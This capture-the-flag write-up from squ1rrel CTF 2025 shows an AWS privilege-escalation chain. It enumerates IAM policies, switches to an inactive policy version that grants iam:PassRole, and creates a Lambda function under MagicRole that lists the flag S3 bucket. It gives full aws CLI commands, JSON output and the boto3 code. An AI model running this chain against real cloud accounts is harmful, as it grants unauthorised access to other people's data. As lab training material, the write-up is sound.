Escalate (squ1rrel CTF 2025)

The objective of this challenge was to escalate privileges within an AWS environment and gain access to the s3 buckets. For guidance, I referred to AWS IAM Privilege Escalation GitHub repository by RhinoSecurityLabs, specifically:

2. Setting the default policy version to an existing version Description: An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions that are not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version. Required Permission(s): iam:SetDefaultPolicyVersion

In this challenge, I leveraged this technique to switch to a more permissive version of UserPolicy.

Step‑1: Analyze the Environment

List IAM Roles

I enumerated the roles in the account:

aws iam list-roles

Key Roles Identified:

AWSServiceRoleForOrganizations
AWSServiceRoleForSSO
AWSServiceRoleForSupport
AWSServiceRoleForTrustedAdvisor
MagicRole
OrganizationAccountAccessRole

I reviewed the details of MagicRole (a likely pivot point) using:

aws iam get-role --role-name MagicRole

Output:

{
    "Role": {
        "Path": "/",
        "RoleName": "MagicRole",
        "RoleId": "AROATC4J3IHY7ZJ5YU43C",
        "Arn": "arn:aws:iam::212353106417:role/MagicRole",
        "CreateDate": "2025-04-05T04:04:31+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-04-06T05:24:56+00:00",
            "Region": "us-east-1"
        }
    }
}

But inspecting other roles also and trying to assume them did not work

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::212353106417:user/ctfuser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::212353106417:role/MagicRole

List S3 Buckets

Trying to see if we are directly allowed to access s3 buckets:

aws s3 ls

Output:

An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:iam::212353106417:user/ctfuser is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action

List and Inspect IAM Policies

I listed the local policies to understand the permissions available:

aws iam list-policies --scope Local

Output:

{
    "Policies": [
        {
            "PolicyName": "UserPolicy",
            "PolicyId": "ANPATC4J3IHY6KCXS4AEM",
            "Arn": "arn:aws:iam::212353106417:policy/UserPolicy",
            "Path": "/",
            "DefaultVersionId": "v2",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2025-04-05T04:04:30+00:00",
            "UpdateDate": "2025-04-08T10:23:34+00:00"
        },
        {
            "PolicyName": "MagicPolicy",
            "PolicyId": "ANPATC4J3IHYQ3Z6PLVLX",
            "Arn": "arn:aws:iam::212353106417:policy/MagicPolicy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "PermissionsBoundaryUsageCount": 0,
            "IsAttachable": true,
            "CreateDate": "2025-04-05T04:04:31+00:00",
            "UpdateDate": "2025-04-05T04:04:31+00:00"
        }
    ]
}

The two policies of interest were UserPolicy and MagicPolicy.

UserPolicy Permissions

I inspected UserPolicy (default version v2):

aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v2

Output (v2):

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:SetDefaultPolicyVersion",
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:ListPolicyVersions",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:ListEntitiesForPolicy",
                        "lambda:GetFunction"
                    ],
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:CreateFunction",
                        "lambda:InvokeFunction",
                        "lambda:UpdateFunctionCode",
                        "lambda:UpdateFunctionConfiguration",
                        "lambda:DeleteFunction",
                        "lambda:ListFunctions"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-05T04:04:30+00:00"
    }
}

Then, I reviewed the inactive version v1:

aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v1

Output (v1):

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:SetDefaultPolicyVersion",
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:ListPolicyVersions",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetPolicy",
                        "iam:PassRole",
                        "iam:GetPolicyVersion",
                        "iam:ListEntitiesForPolicy",
                        "lambda:GetFunction"
                    ],
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:CreateFunction",
                        "lambda:InvokeFunction",
                        "lambda:UpdateFunctionCode",
                        "lambda:UpdateFunctionConfiguration",
                        "lambda:DeleteFunction",
                        "lambda:ListFunctions"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": false,
        "CreateDate": "2025-04-05T04:04:30+00:00"
    }
}

Analysis: The key difference is that v1 includes the iam:PassRole permission, which is critical for passing roles to Lambda functions.

MagicPolicy Permissions

I also reviewed MagicPolicy:

aws iam get-policy-version --policy-arn arn:aws:iam::212353106417:policy/MagicPolicy --version-id v1

Output:

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "s3:ListBucket",
                    "Resource": "arn:aws:s3:::squ1rrel-ctf-flags"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "logs:CreateLogGroup",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-04-05T04:04:31+00:00"
    }
}

The policy explicitly grants the s3:ListBucket action on the bucket identified by the ARN:arn:aws:s3:::squ1rrel-ctf-flags. This indicates that we somehow need to access this bucket.

Step‑2: Escalation via Default Policy Version Change

Given the presence of multiple policy versions and with the iam:SetDefaultPolicyVersion permission at our disposal, I applied the technique from the RhinoSecurityLabs article:

2. Setting the default policy version to an existing version If a policy that they have access to has versions that are not the default, they can change the default version to any other existing version.

I switched UserPolicy to version v1:

aws iam set-default-policy-version --policy-arn arn:aws:iam::212353106417:policy/UserPolicy --version-id v1

This action activated v1, granting me the iam:PassRole permission that was missing in the default version (v2).

Step‑3: Leverage Lambda Permissions

Check for Existing Lambda Functions

Before creating a new function, I checked if any Lambda functions already existed, as my permissions included various Lambda actions:

aws lambda list-functions

Output:

{
    "Functions": []
}

Since no pre-existing functions were found, I proceeded to create one.

Create and Deploy a Lambda Function

Prepare Lambda Code: I created a file named lambda_function.py with the following content:

import boto3
import json

def lambda_handler(event, context):
    try:
        s3 = boto3.client('s3')
        response = s3.list_objects_v2(Bucket='squ1rrel-ctf-flags')
        return {
            "statusCode": 200,
            "body": json.dumps(response, default=str)
        }
    except Exception as e:
        print("Error:", str(e))
        return {
            "statusCode": 500,
            "body": json.dumps({"error": str(e)})
        }

Package the Function: Then zip lambda_function.py into a ZIP file called function.zip

Create the Lambda Function Using MagicRole: With the new iam:PassRole permission, I created the function:

aws lambda create-function --function-name EscalateLambda --runtime python3.8 --role arn:aws:iam::212353106417:role/MagicRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip

Output:

{
    "FunctionName": "EscalateLambda",
    "FunctionArn": "arn:aws:lambda:us-east-1:212353106417:function:EscalateLambda",
    "Runtime": "python3.8",
    "Role": "arn:aws:iam::212353106417:role/MagicRole",
    ...
}

Step‑4: Invoke and Troubleshoot the Lambda Function

I invoked the Lambda function:

aws lambda invoke --function-name EscalateLambda output.json

Output:

{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

A output.json file was created and while viewing its contents:

\"Contents\": [{\"Key\": \"squ1rrel{dont_you_love_aws}.txt\", \"LastModified\": \"2025-04-04 05:59:47+00:00\"

Flag: squ1rrel{dont_you_love_aws}

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